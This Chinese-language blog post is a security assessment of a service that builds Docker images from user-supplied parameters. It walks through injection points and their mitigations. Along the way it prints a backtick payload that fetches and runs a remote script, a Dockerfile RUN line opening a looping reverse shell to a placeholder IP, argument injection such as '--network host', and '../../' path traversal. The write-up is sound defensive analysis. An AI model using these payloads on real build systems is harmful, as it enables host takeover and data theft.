背景
业务提供一个功能：根据用户的代码仓库编译镜像，并且管理镜像。
编译镜像时的业务实现类似下面这样，其中image_name_tag、dockerfile_file、dockerfile_path变量都是从外部web入口传入的
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
如果你是这个业务的研发或者安全测试人员，你觉得这里会产生哪些安全漏洞？
我的分析
-
命令执行
我想大家第一个都会想到”命令执行漏洞”：image_name_tag变量如果用户传入
`wget -c http://xxx/x.sh | bash -c`就能执行远程服务器上的脚本，拿到宿主机服务器权限。如果研发大哥对传入的变量做了黑名单呢(比如判断是否包含
$、`)，还有其他安全漏洞吗？ -
Dockerfile中反弹shell
-f ${dockerfile_file}这里Dockerfile的内容是用户可控的，所以也很容易想到：我们可以在Dockerfile中写任意命令，获取到”反弹shell”FROM ubuntu
MAINTAINER Victor Coisne [email protected]
RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口
RUN bash /tmp/1.sh在”反弹shell”中我们可以尝试去访问”dockerd服务”所在的宿主机网络，或者宿主机能访问到的网络，然后可以去测试网络中的脆弱服务。
如果研发大哥在这里用iptables对容器和宿主机网络做了隔离，还有其他安全漏洞吗？
-
用户数据泄漏
Dockerfile中的第一行
FROM如果我填写其他用户编译好的镜像名称，是不是有可能读到其他用户镜像呢？虽然”镜像名称”难猜中，但是这个风险确实是存在的。
如果研发大哥在构建镜像并推送到镜像仓库后，然后用
docker rmi清空本地的镜像缓存，就不存在这种风险了，那还有其他安全漏洞吗？ -
给所有镜像种个后门
image_name_tag是编译后的镜像名，Dockerfile中的第一行
FROM指令又需要一个基础镜像，那么是否存在如下可能：A用户使用的基础镜像是B用户build生成。如果存在这个可能，那一个恶意用户build生成带后门的nginx、ubuntu等基础镜像，就可以导致其他用户的生成镜像时都带上后门。测试后，发现”dockerd服务”默认会使用本地镜像，所以会出现上面的问题。
–pull=true|false Always attempt to pull a newer version of the image. The default is false.
如果研发大哥使用了
docker build --pull=true每次拉取最新镜像，还有其他安全漏洞吗？ -
命令参数注入
--network host如果传入image_name_tag参数值是
xxx --network host,可以达到docker build xxx --network host的效果，配合Dockerfile中反弹shell，可以让shell和”dockerd服务”处于同一个网络。这样iptables对容器和宿主机的网络隔离就不起作用了。当然你还可以注入
--build-arg读宿主机环境变量，或者看看docker build还有没有其他的命令行参数可以拿来利用。如果研发大哥对参数值判断了，不允许
-符号传入呢，还有其他安全漏洞吗？ -
服务数据泄漏
下面的命令可以把”docker客户端”的
/tmp、../../目录下的文件全部拷贝到”编译容器”中，配合Dockerfile中反弹shell，可以在shell中读到”docker客户端”机器上的docker build -f ./Dockerfile /tmp
docker build -f ./Dockerfile ../../同时你可能需要用.dockersignore文件忽略某些文件或目录，避免一些大文件被拷贝到”编译容器”。
所以如果用户传入dockerfile_path参数为
../../这种形式的路径，是可以读到机器上的文件。如果研发大哥判断用户传入的参数，不允许出现
..这种目录跳转，还有其他安全漏洞吗？emm，反正我想不到其他的攻击点了。
另外我想补充说明一下，docker是一个cs架构的软件，所以在做漏洞利用时需要清楚我们是在谁的网络环境下、读谁的文件（谁指的是客户端还是服务端）
总结
本文介绍了一个docker相关的安全评估的案例，包括其中的风险点和修复措施，希望你能有点收获。
在做这个评估时，我的感受是：有时候业务评估非常依赖评估人员自身的经验，并且好像没有办法依赖一个方法论(比如stride)评估出所有风险点。
PS：欢迎读者与我讨论、指正文章内容。
原文始发于微信公众号（leveryd）：docker build时的安全问题
